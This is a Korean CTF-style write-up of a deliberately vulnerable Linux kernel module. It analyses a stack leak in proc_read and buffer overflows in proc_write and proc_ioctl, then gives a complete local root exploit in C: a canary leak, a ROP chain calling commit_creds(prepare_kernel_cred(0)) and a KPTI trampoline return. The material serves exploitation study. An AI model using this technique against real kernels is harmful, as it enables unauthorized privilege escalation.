The Jumps

취약점 분석

모듈은 init_module에서 0x400 바이트 크기의 전역 버퍼 proc_data__vmalloc으로 할당하고, /proc/shellcode_device0666 권한으로 생성한다. 일반 유저가 read, write, ioctl 핸들러를 호출할 수 있다.

1. proc_read의 커널 스택 정보 유출

proc_read는 유저가 넘긴 count만큼 커널 스택 내용을 proc_data로 복사한 뒤 다시 유저 버퍼로 복사한다. 복사 원본은 현재 함수의 스택 프레임인데, 길이는 유저가 제어한다. 이로 인해 stack canary, 커널 스택 주소, 커널 코드 주소가 유저 공간으로 유출된다.

count > 0x400일 때도 에러로 중단하지 않고 로그 출력 후 복사 루틴으로 합류한다. 익스플로잇에서는 read(fd, buf, 0x100)으로 canary를 얻고, proc_write의 canary 검사를 우회한다.

ssize_t proc_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)
{
    char stack_buf[0x20];
 
    if (count > 0x400)
        printk("Buffer overflow detected\n");
 
    memcpy(proc_data, stack_buf, count);
 
    if (_copy_to_user(buf, proc_data, count))
        return -EFAULT;
 
    return count;
}

2. proc_write의 스택 버퍼 오버플로우

proc_writecount <= 0x3ff만 검사한다. 이후 유저 입력을 proc_data에 복사하고, 다시 0x20 바이트 지역 버퍼 tmpcount 바이트를 복사한다. count가 0x20보다 크면 stack canary, saved rbp, return address를 덮을 수 있다.

익스플로잇은 proc_read로 얻은 canary를 payload의 tmp + 0x20 위치에 넣어 canary 검사를 통과시킨다. 그 뒤 return address를 ROP chain으로 덮어 commit_creds(prepare_kernel_cred(0))를 실행한다.

ssize_t proc_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)
{
    char tmp[0x20];
 
    memset(tmp, 0, sizeof(tmp));
 
    if (count > 0x3ff)
        return -EINVAL;
 
    if (_copy_from_user(proc_data, buf, count - 1))
        return -EFAULT;
 
    memcpy(tmp, proc_data, count);
    proc_data[count] = 0;
 
    return count;
}

추가 취약점: proc_ioctl의 스택 버퍼 오버플로우

proc_ioctlcmd == 0x7301일 때 0x20 바이트 지역 버퍼에 proc_data 0x400 바이트를 복사한다. proc_data를 먼저 제어할 수 있으므로 이 경로도 별도 ROP 트리거로 사용할 수 있다.

long proc_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    char buff[0x20];
 
    if (cmd != 0x7301)
        return -EINVAL;
 
    memset(buff, 0, sizeof(buff));
    memcpy(buff, proc_data, 0x400);
    printk("Buff = %s\n", buff);
 
    return 0;
}

Exploit 과정

Step 1: 유저 모드 복귀 상태 저장

커널 ROP 이후 정상적으로 유저 모드의 shell()로 돌아오기 위해 cs, ss, rflags, rsp를 저장한다. ROP 마지막에는 KPTI trampoline을 통해 이 값들을 사용해 유저 모드로 복귀한다.

void save_state()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;");
}

Step 2: /proc/shellcode_device 열기

모듈이 생성한 proc entry는 0666 권한이므로 일반 유저도 접근할 수 있다.

int fd = open("/proc/shellcode_device", O_RDWR);

Step 3: proc_read로 stack canary leak

read(fd, buf, 0x100)을 호출하면 proc_read가 커널 스택 내용을 유저에게 복사한다. 현재 익스플로잇은 buf + 0x18에서 canary를 읽는다.

char buf[0x100] = {0};
 
read(fd, buf, sizeof(buf));
canary = *(uint64_t *)(buf + 0x18);

Step 4: ROP chain 구성

payload는 proc_write의 지역 버퍼 tmp 기준으로 배치한다. payload[4]가 stack canary 위치이고, 그 뒤에 saved rbp dummy와 return address부터 실행될 ROP chain을 둔다.

ROP 흐름은 prepare_kernel_cred(0) 호출, 반환값을 rdi로 이동, commit_creds(rdi) 호출, KPTI trampoline으로 유저 모드 복귀 순서다.

void *commit_creds = 0xffffffff81087e90;
void *prepare_kernel_cred = 0xffffffff810881d0;
void *kpti_trampoline = 0xffffffff81c00a2f + 22;
 
void *pop_rdi = 0xffffffff81001518;
void *mov_rdi_rax_rep_movsq = 0xffffffff8101c07b;
void *pop_rcx = 0xffffffff81065913;
 
uint64_t payload[0x20] = {0};
ssize_t off = 0x4;
 
payload[off++] = canary;
payload[off++] = 0;
payload[off++] = pop_rdi;
payload[off++] = 0;
payload[off++] = prepare_kernel_cred;
payload[off++] = pop_rcx;
payload[off++] = 0;
payload[off++] = mov_rdi_rax_rep_movsq;
payload[off++] = commit_creds;
payload[off++] = kpti_trampoline;
payload[off++] = 0;
payload[off++] = 0;
payload[off++] = &shell;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

Step 5: write로 BOF 트리거

write(fd, payload, sizeof(payload))를 호출하면 proc_write에서 memcpy(tmp, proc_data, count)가 실행된다. tmp는 0x20 바이트이지만 count는 0x100이므로 return address가 ROP chain으로 덮인다.

write(fd, payload, sizeof(payload));

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
 
uint64_t user_cs, user_ss, user_rflags, user_sp;
 
void save_state()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;");
    info("Saved state successfully!");
}
 
int main()
{
    important("happy hacking!");
 
    save_state();
 
    int fd = open("/proc/shellcode_device", O_RDWR);
    if (fd < 0)
    {
        perror("open");
        return -1;
    }
    info("opened /proc/shellcode_device");
 
    // canary leak
    char buf[0x100] = {0};
    uint64_t canary, stack_addr;
 
    read(fd, buf, sizeof(buf));
    hexdump(buf, sizeof(buf));
 
    canary = *(uint64_t *)(buf + 0x18);
    info("canary: 0x%lx", canary);
 
    // stack bof rop
    void *commit_creds = 0xffffffff81087e90;
    void *prepare_kernel_cred = 0xffffffff810881d0;
    void *kpti_trampoline = 0xffffffff81c00a2f + 22;
 
    void *pop_rdi = 0xffffffff81001518;
    void *mov_rdi_rax_rep_movsq = 0xffffffff8101c07b;
    void *pop_rcx = 0xffffffff81065913;
 
    uint64_t payload[0x20] = {0};
    memset(payload, 0, sizeof(payload));
 
    ssize_t off = 0x4;
    payload[off++] = canary;
    payload[off++] = 0; // dummy
    payload[off++] = pop_rdi;
    payload[off++] = 0;
    payload[off++] = prepare_kernel_cred;
    payload[off++] = pop_rcx;
    payload[off++] = 0; // dummy
    payload[off++] = mov_rdi_rax_rep_movsq;
    payload[off++] = commit_creds;
    payload[off++] = kpti_trampoline;
    payload[off++] = 0; // dummy
    payload[off++] = 0; // dummy
    payload[off++] = &shell;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
 
    write(fd, payload, sizeof(payload));
 
    return 0;
}